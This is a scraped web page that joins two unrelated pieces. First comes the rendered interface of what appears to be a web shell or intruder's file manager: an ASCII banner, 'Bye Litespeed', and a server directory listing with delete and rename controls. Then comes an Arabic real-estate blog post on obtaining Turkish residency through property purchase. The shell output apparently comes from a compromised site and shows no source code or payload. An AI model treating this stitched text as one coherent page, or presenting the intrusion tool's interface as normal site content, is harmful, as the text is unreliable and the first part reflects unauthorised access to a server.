Hell Yeah Pointer 4 
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-06 18:22:05
curdir: / / usr / lib / .build-id / 18 / [ GO Home ]

Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-14 04:02:08 0755
.. 4096 2026-02-18 14:39:34 0755
0d365d32971e085f106ddbb1891ed273d6f70a 134064 2023-06-05 17:35:38 0755
1c1ae06ee2a3f5d28a0906eb8822926f62252b 36056 2019-10-13 03:00:57 0755
1df448be72e78d89c8495ec937363ab3eef900 12240 2024-04-02 21:37:43 0755
274a306ad7dc157a7fcb962384723838400452 33384 2025-11-06 13:40:45 0755
2d1d515a6beabccc0bcee8a47cf978053a471c 28176 2024-07-29 17:30:44 0755
300884ba53ef35c549f39f87198ce62d0f3041 1970-01-01 03:00:00 0
3375f6ea326c60ef45b05edf8acffd6900c22f 11704 2024-01-10 17:34:46 0755
3c86759f336ccc15bb3c401a5adb939fb96677 25144 2025-11-05 12:26:54 0755
44a37b15cfa03be2cb97c07817e17e9ebc50be 1970-01-01 03:00:00 0
7de14d3cd73e62603c5cd7bf6d0afbd9619353 24080 2024-07-29 17:30:44 0755
8a06839395d4f40eae14335b21d31ccae1bec8 15848 2025-04-01 16:15:58 0755
8c3236c8cf91181de83c05140417d177253527 468832 2025-11-24 22:55:03 0755
9bb6aa6661091402b35d1c4c9501f98ad06c0c 1313480 2025-10-09 14:27:39 0755
ac6cc759b7b4f5ec6d36604675ec7e8e2780f2 447664 2019-10-14 03:11:26 0755
b31a035762b40ce45e0552a7dc4976acd92199 1970-01-01 03:00:00 0
b6c6bddadb867f9db31f99e9779b5335c79c2a 12056 2025-12-08 12:43:19 0755
b742fbf953f0972db858abc5fea5edcdd1a76e 12088 2024-04-02 21:37:43 0755
ba720d81aab263ab82067d6bcebbbf4ff84171 11912 2022-04-18 18:56:05 0755
c7f26320b3800288cb404dbd79c67ae6ac2125 12064 2025-12-08 12:43:19 0755
e2ef7b2a85ba7ff10c5e294cc2d59bc2ece126 1970-01-01 03:00:00 0
f230bd314124139567d8b4508dda41d63fa3ca 321008 2020-07-09 08:54:44 0755
مجموعة كريم - الإقامة العقارية في تركيا

الإقامة العقارية في تركيا

Blog Details

الإقامة العقارية في تركيا

بعد أن شهد السوق العقاري في تركيا إقبالا كبيرا من قبل المستثمرين الأجانب والباحثين عن إنشاء حياة جديدة في وطن جديد خلال السنوات الأخيرة، وبعد ازدياد شراء العقارات والشقق السكنية والاستثمار بها بشكل كبير، قامت الحكومة التركية على منح المستثمرين والراغبين في امتلاك منزل في تركيا حق الحصول على الإقامة العقارية في تركيا.

 

الإقامة العقارية في تركيا هي وثيقة تؤخذ من دائرة الهجرة في تركيا، وتسمح الإقامة العقارية في تركيا لصاحبها أن يتمتع بحقوق كاملة، بداية من التعليم إلى الطبابة والمعيشة وصولا إلى ممارسة مهنته بشكل كامل وقانوني، وتتصف هذه الإقامة بكونها مؤقتة حالها كحال باقي الإقامات، وتحتاج إلى التجديد السنوي، ويتم منح هذه الإقامة للأشخاص الراغبين في امتلاك منزل في تركيا والاستقرار في تركيا، كما يحق للزوجة ولأفراد العائلة من الأبناء دون سن 18 سنة، الحصول على الإقامة العقارية في تركيا.

 

ما هي مميزات الحصول على الإقامة العقارية في تركيا؟

  • الإقامة القانونية

من مزايا الإقامة العقارية في تركيا أنها تسمح لحاملها الإقامة بشكل قانوني على الأراضي التركية، وممارسة حياته بشكل طبيعي.

  • ادراج العائلة أيضا

تمتع عائلة صاحب العقار من الزوجة والأولاد بشكل عام دون سن 18 سنة بحقوق الإقامة العقارية في تركيا.

  • السهولة في التعامل

يتمتع حامل الإقامة العقارية في تركيا بسهولة كبيرة في إنهاء معاملاته في الدوائر الحكومية والمشافي ودائرة الهجرة.

  • الحصول على الخدمات التعليمية

الإقامة العقارية في تركيا تسمح لحاملها بالحصول على كافة الخدمات التعليمية في المدارس والجامعات التركية.

  • الطبابة في المستشفيات التركية

تسمح الإقامة العقارية في تركيا لحاملها أن يستفيد بشكل مجاني أو بخصومات كبيرة من مميزات الصحة في تركيا من خلال الطبابة في المستشفيات التركية.

  • إمكانية الحصول على الإقامة الدائمة

بعد 8 سنوات من الإقامة العقارية في تركيا، يتمكن حامل الإقامة العقارية في تركيا أن يحصل على الإقامة الدائمة في تركيا.

  • إمكانية الحصول على الجنسية التركية

تمكن الإقامة العقارية حاملها على إمكانية التقدم بطلب الحصول على الجنسية التركية في حال وصول قيمة العقارات إلى 400 ألف دولار، ويشترط أن يتم تحويل هذا المبلغ من خارج تركيا.

 

ما هي إجراءات الإقامة العقارية في تركيا؟

  • شراء عقار واحد أو عدة عقارات في إحدى الولايات التركية، والحصول على وثيقة الطابو.
  • حجز موعد من الإنترنت عبر موقع دائرة الهجرة الإلكتروني من أجل الحصول على الإقامة العقارية في تركيا.
  • تحضير كافة الوثائق والأوراق اللازمة من أجل الحصول على الإقامة العقارية في تركيا.
  • الحضور للمقابلة في دائرة الهجرة بشكل شخصي أو بموجب الوكالة الرسمية للوكيل.
  • تسليم الوثائق والأوراق المطلوبة للموظف المسؤول.
  • دفع الرسوم المفروضة (تتعلق رسوم الإقامة العقارية في تركيا على قيمة العقار المراد شراؤه في تركيا، حيث تبلغ رسوم التملك العقاري في تركيا نسبة 9.7% تقريبا من سعر العقار الكلي).
  • الانتظار إلى حين أن يتم الموافقة على منحك الإقامة العقارية في تركيا.
  • استلام بطاقة الإقامة العقارية في تركيا من خلال إحدى وسائل البريد.

 

ما هي الأوراق المطلوبة للإقامة العقارية في تركيا؟

  • ورقة تقديم الطلب للإقامة العقارية التي تم طلبها من الموقع الإلكتروني لدائرة الهجرة.
  • جواز سفر ساري المفعول لمدة لا تقل عن ستة أشهر.
  • فيزا عليها ختم الدخول إلى الأراضي التركية في حال كنت من الدول التي تحتاج إلى فيزا من أجل الدخول إلى تركيا.
  • ورقة تأمين طبي.
  • دفتر العائلة مترجم إلى اللغة التركية من مترجم محلف، ومصدق من مكاتب النوتر (كاتب العدل).
  • وثيقة الطابو التي تم تسجيل العقار باسم صاحبها.
  • 4 صور شخصية بيومترية.
  • وجود دخل شهري ثابت يبدأ من 500 دولار شهريا.

 

 

ما هي مدة الإقامة العقارية في تركيا؟

عادة ما تكون الإقامة العقارية في تركيا صالحة لمدة عام واحد أو عامين كحد أقصى، ولكن الإقامة العقارية في تركيا قابلة للتجديد، وتتم عملية التجديد بسهولة كبيرة مقارنة مع باقي الإقامات الأخرى في تركيا، إذ يكفي أن يكون العقار مسجلا في دائرة الطابو باسم صاحب العقار يتم تجديد الإقامة بموجبها.

 

اقرأ أيضا:

الإقامات في تركيا

E devlet أو نظام الحكومة الإلكتروني

أحدث المقالات القانونية